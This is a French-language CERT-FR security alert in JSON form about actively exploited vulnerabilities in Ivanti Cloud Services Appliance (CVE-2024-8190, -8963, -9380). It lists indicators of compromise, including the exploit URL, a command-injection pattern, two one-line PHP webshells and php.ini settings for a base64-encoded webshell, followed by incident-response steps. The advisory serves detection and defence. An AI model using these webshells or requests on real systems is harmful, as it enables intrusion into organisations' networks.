{"$ref":"https://www.cert.ssi.gouv.fr/openapi.json","affected_systems":[{"description":"Ivanti Cloud Services Appliance (CSA) versions ant\u00e9rieures \u00e0 5.0.2","product":{"name":"Cloud Service Appliance (CSA)","vendor":{"name":"Ivanti","scada":false}}}],"affected_systems_content":"Une chaine d\u2019exploitation compl\u00e8te est connue pour les produits Ivanti Cloud Services Appliance de versions ant\u00e9rieures \u00e0 5.0, notamment les versions 4.6 n\u2019ayant pas appliqu\u00e9 le correctif 519.\nLes vuln\u00e9rabilit\u00e9s CVE-2024-8190, CVE-2024-8963 et CVE-2024-9380 ont \u00e9t\u00e9 exploit\u00e9es avant la publication de ce correctif.\nLe CERT-FR n\u2019a pas connaissance d\u2019une chaine d\u2019exploitation impactant les versions 5.0.x.","closed_at":"2025-03-31","content":"## Recherche de compromission\n\nDes traces d\u2019exploitation sont identifiables dans les journaux `/var/log/messages-<date>.tar.gz` ou dans des journaux de reverse-proxy en privil\u00e9giant la p\u00e9riode du 4 au 15 septembre 2024 :\n1. requ\u00eate HTTP GET vers l'URL `/client/index.php%3F.php/gsb/users.php` (CVE-2024-8963). Les attaquants peuvent utiliser des moyens d\u2019obscurcissement pour contourner ce motif de d\u00e9tection ; \n2. suivie d'une requ\u00eate HTTP POST vers l'URL `/gsb/datetime.php` (CVE-2024-8190) ;\n3. pr\u00e9sence de `PGPASSWORD` pouvant indiquer une manipulation de la base de donn\u00e9e contenant les informations de connexion ;\n4. pr\u00e9sence d'une requ\u00eate contenant `tripwire --update ;` indiquant une injection de commandes au travers de la page `reports.php`.\n\nDans `/var/log/messages*` et `/var/log/secure*`, des traces d\u2019ex\u00e9cutions de commandes malveillantes peuvent \u00eatre identifi\u00e9es :\n* `base64 -d`\n* `tripwire \u2013-update ; <injection de commande>`\n\nL'attaquant peut \u00e9galement utiliser des *webshells* situ\u00e9es dans le dossier `/opt/landesk` contenant uniquement l\u2019une des deux lignes suivantes :\n* `<?php @eval($_REQUEST[<variable>]);  ?>`\n* `<?php system('/bin/sudo '. $_REQUEST[<variable>]);`\n\nIl existe \u00e9galement des combinaisons de ces deux lignes (sans le  `?>` final, avec ou sans guillemet autour de la variable, etc.). Les dates de derni\u00e8re modification et de cr\u00e9ation de ces fichiers peuvent avoir \u00e9t\u00e9 manipul\u00e9es. \n\nDe plus, des indicateurs de compromission peuvent parfois \u00eatre observ\u00e9s \u00e0 la fin du fichier `/etc/php.ini` :\n* `allow_url_include = On`\n* `auto_prepend_file = \"data:;base64,<webshell encod\u00e9>\"`\n\nLe CERT-FR recommande par ailleurs de chercher les indicateurs de compromission pr\u00e9sent\u00e9s dans l'article de Fortinet [1].\n\nL'URL permettant d'exploiter la vuln\u00e9rabilit\u00e9 CVE-2024-8963 a \u00e9t\u00e9 massivement requ\u00eat\u00e9e. Sa seule pr\u00e9sence dans les journaux d'activit\u00e9 n'est donc pas n\u00e9cessairement r\u00e9v\u00e9latrice d'une action malveillante. Il est n\u00e9anmoins n\u00e9cessaire de suivre les \u00e9tapes 4 \u00e0 6 pr\u00e9sentes dans la section Solution. \n\n## Solution \n\nLa version 5.0.2 de CSA corrige l'ensemble des vuln\u00e9rabilit\u00e9s pr\u00e9sent\u00e9es. La version 4.6 n'est plus support\u00e9e par l'\u00e9diteur et ce dernier recommande de mettre \u00e0 jour vers la version 5.0.2. L\u2019\u00e9diteur recommande l\u2019utilisation de deux interfaces r\u00e9seau, en utilisant `eth0` uniquement pour le r\u00e9seau interne.\n\nSi vous \u00eates en pr\u00e9sence d'un CSA qui \u00e9tait en version 4.6 et accessible depuis Internet en septembre ou octobre 2024, il est imp\u00e9ratif d\u2019effectuer une recherche de traces d\u2019exploitation de vuln\u00e9rabilit\u00e9 sur l\u2019\u00e9quipement ou la machine virtuelle, ainsi que de tentatives de lat\u00e9ralisation.\n\nEn cas de compromission ou suspicion de compromission :\n\n1. isoler les \u00e9quipements compromis du r\u00e9seau et r\u00e9aliser un gel de donn\u00e9es (instantan\u00e9 pour les machines virtuelles, isolement de l\u2019\u00e9quipement s\u2019il s\u2019agit d\u2019un \u00e9quipement physique) \u00e0 des fins d\u2019investigations approfondies ;\n2. signaler l\u2019\u00e9v\u00e9nement aupr\u00e8s du CERT-FR en mettant en copie vos \u00e9ventuels CSIRTs m\u00e9tier ; \n3. reconstruire la solution CSA en version 5.0.2 et son syst\u00e8me d\u2019exploitation sur lequel il repose \u00e0 partir de source \u00e9diteur. L'attaquant peut d\u00e9poser un implant qui ne sera pas supprim\u00e9 avec la simple r\u00e9installation de l'application ;\n4. r\u00e9initialiser tous les secrets de fa\u00e7on g\u00e9n\u00e9rale (mot de passe, certificat, etc.) configur\u00e9s sur les \u00e9quipements affect\u00e9s ; \n5. r\u00e9initialiser tous les secrets d\u2019authentification susceptibles d\u2019avoir transit\u00e9s sur les \u00e9quipements affect\u00e9s (si applicable) ;\n6. v\u00e9rifier que l'ensemble des utilisateurs du syst\u00e8me sont l\u00e9gitimes ; \n7. rechercher toutes traces de lat\u00e9ralisation sur le reste du syst\u00e8me d\u2019information, notamment :\n    * en cherchant les connexions ou tentatives de connexion vers Internet depuis l'\u00e9quipement compromis ;\n    * puis en cherchant ces adresses IP de destination pour v\u00e9rifier si d\u2019autres machines ont tent\u00e9 une connexion ;\n    * en analysant les journaux des EDR ou les journaux Windows pour identifier des connexions depuis l'\u00e9quipement compromis. \n8. identifier les comptes du domaine Active Directory qui seraient configur\u00e9s sur l'\u00e9quipement suspect\u00e9 puis :\n    * v\u00e9rifier l'activit\u00e9 r\u00e9alis\u00e9e \u00e0 partir de ce compte ;\n    * r\u00e9initialiser les secrets associ\u00e9s \u00e0 ces comptes afin d'\u00e9viter que l'attaquant ne puisse r\u00e9utiliser ailleurs les identifiants \u00e9ventuellement obtenus sur l'\u00e9quipement.\n\nLe CERT-FR vous recontactera si n\u00e9cessaire pour le traitement de l\u2019incident ou vous communiquera des \u00e9l\u00e9ments suppl\u00e9mentaires. En cas de suspicion de compromission, il est recommand\u00e9 de consulter les [bons r\u00e9flexes en cas d'intrusion sur votre syst\u00e8me d'information](https://www.cert.ssi.gouv.fr/les-bons-reflexes-en-cas-dintrusion-sur-un-systeme-dinformation/) [2], ainsi que les fiches r\u00e9flexe sur la compromission syst\u00e8me [3] [4]. \n","cves":[{"name":"CVE-2024-8190","url":"https://www.cve.org/CVERecord?id=CVE-2024-8190"},{"name":"CVE-2024-8963","url":"https://www.cve.org/CVERecord?id=CVE-2024-8963"},{"name":"CVE-2024-9380","url":"https://www.cve.org/CVERecord?id=CVE-2024-9380"}],"links":[{"title":"[2] Les bons r\u00e9flexes en cas d\u2019intrusion sur un syst\u00e8me d\u2019information","url":"https://www.cert.ssi.gouv.fr/les-bons-reflexes-en-cas-dintrusion-sur-un-systeme-dinformation/"},{"title":"[4] Fiche r\u00e9flexe Compromission syst\u00e8me - Endiguement","url":"https://www.cert.ssi.gouv.fr/fiche/CERTFR-2024-RFX-006/"},{"title":"[3]\u00a0Fiche r\u00e9flexe Compromission syst\u00e8me - Qualification","url":"https://www.cert.ssi.gouv.fr/fiche/CERTFR-2024-RFX-005/"},{"title":"Avis CERTFR-2024-AVI-0851 du 09 octobre 2024","url":"https://www.cert.ssi.gouv.fr/avis/CERTFR-2024-AVI-0851/"},{"title":"Bulletin d'actualit\u00e9 CERTFR-2024-ACT-045 du 14 octobre 2024","url":"https://www.cert.ssi.gouv.fr/actualite/CERTFR-2024-ACT-045/"},{"title":"Avis CERTFR-2024-AVI-0796 du 20 septembre 2024","url":"https://www.cert.ssi.gouv.fr/avis/CERTFR-2024-AVI-0796/"},{"title":"[1] Billet de blogue de FortiGuard Labs Threat Research du 11 octobre 2024 ","url":"https://www.fortinet.com/blog/threat-research/burning-zero-days-suspected-nation-state-adversary-targets-ivanti-csa"}],"reference":"CERTFR-2024-ALE-013","revisions":[{"description":"Version initiale","revision_date":"2024-10-22T00:00:00.000000"},{"description":"Correction d'un marqueur pr\u00e9sent dans les fichiers de /var/log/","revision_date":"2024-10-25T00:00:00.000000"},{"description":"    Cl\u00f4ture de l'alerte. Cela ne signifie pas la fin d'une menace. Seule l'application de la mise \u00e0 jour permet de vous pr\u00e9munir contre l'exploitation de la vuln\u00e9rabilit\u00e9 correspondante.","revision_date":"2025-03-31T00:00:00.000000"}],"risks":[{"description":"Ex\u00e9cution de code arbitraire \u00e0 distance"},{"description":"Contournement de la politique de s\u00e9curit\u00e9"}],"summary":"Ivanti a publi\u00e9 plusieurs avis de s\u00e9curit\u00e9 sur des vuln\u00e9rabilit\u00e9s affectant CSA qui sont activement exploit\u00e9es :\n* le 10 septembre 2024, Ivanti a publi\u00e9 un avis de s\u00e9curit\u00e9 concernant la vuln\u00e9rabilit\u00e9 CVE-2024-8190 qui permet \u00e0 un attaquant, authentifi\u00e9 en tant qu'administrateur, d'ex\u00e9cuter du code arbitraire \u00e0 distance sur un \u00e9quipement CSA ;\n* le 13 septembre 2024, l'\u00e9diteur a ajout\u00e9 que cette vuln\u00e9rabilit\u00e9 \u00e9tait activement exploit\u00e9e dans le cadre d'attaques cibl\u00e9es ;\n* le 16 septembre 2024, le CERT-FR a eu connaissance de codes d'exploitation publics pour la vuln\u00e9rabilit\u00e9 CVE-2024-8190 ;\n* le 19 septembre 2024, Ivanti a publi\u00e9 un nouvel avis de s\u00e9curit\u00e9 affectant CSA. La vuln\u00e9rabilit\u00e9 CVE-2024-8963 permet \u00e0 un attaquant non authentifi\u00e9 de contourner l'authentification et d'obtenir les droits administrateur ;\n* le 8 octobre 2024, Ivanti a publi\u00e9 un nouvel avis de s\u00e9curit\u00e9 affectant les CSA versions 5.0.1 et ant\u00e9rieures. Les vuln\u00e9rabilit\u00e9s CVE-2024-9379 et CVE-2024-9380, combin\u00e9es \u00e0 la vuln\u00e9rabilit\u00e9 CVE-2024-8963 pr\u00e9sente sur les CSA versions 4.6 ant\u00e9rieures au correctif 519, permettent d\u2019ex\u00e9cuter du code arbitraire \u00e0 distance ;\n* le 11 octobre 2024 l'\u00e9diteur Fortinet a publi\u00e9 un billet de blogue [1] d\u00e9taillant les exploitations constat\u00e9es lors d'une op\u00e9ration de r\u00e9ponse \u00e0 incidents.\n \nL'\u00e9diteur a pr\u00e9cis\u00e9 que les vuln\u00e9rabilit\u00e9s CVE-2024-8190 et CVE-2024-8963 \u00e9taient activement exploit\u00e9es et a connaissance d\u2019un nombre limit\u00e9 d\u2019exploitations des vuln\u00e9rabilit\u00e9s CVE-2024-9379 et CVE-2024-9380, combin\u00e9es \u00e0 la vuln\u00e9rabilit\u00e9 CVE-2024-8963 sur les CSA en versions ant\u00e9rieures \u00e0 5.0 uniquement. \n\n**Le CERT-FR a connaissance de plusieurs compromissions dans lesquelles ces vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 exploit\u00e9es.**","title":"Exploitations de vuln\u00e9rabilit\u00e9s dans Ivanti Cloud Services Appliance (CSA)","vendor_advisories":[{"published_at":"2024-09-19","title":"Bulletin de s\u00e9curit\u00e9 Ivanti","url":"https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-4-6-Cloud-Services-Appliance-CVE-2024-8963?language=en_US"},{"published_at":"2024-10-10","title":"Bulletin de s\u00e9curit\u00e9 Ivanti","url":"https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-Cloud-Services-Appliance-CVE-2024-9379-CVE-2024-9380-CVE-2024-9381?language=en_US"},{"published_at":"2024-09-10","title":"Bulletin de s\u00e9curit\u00e9 Ivanti","url":"https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Cloud-Service-Appliance-CSA-CVE-2024-8190?language=en_US"}]}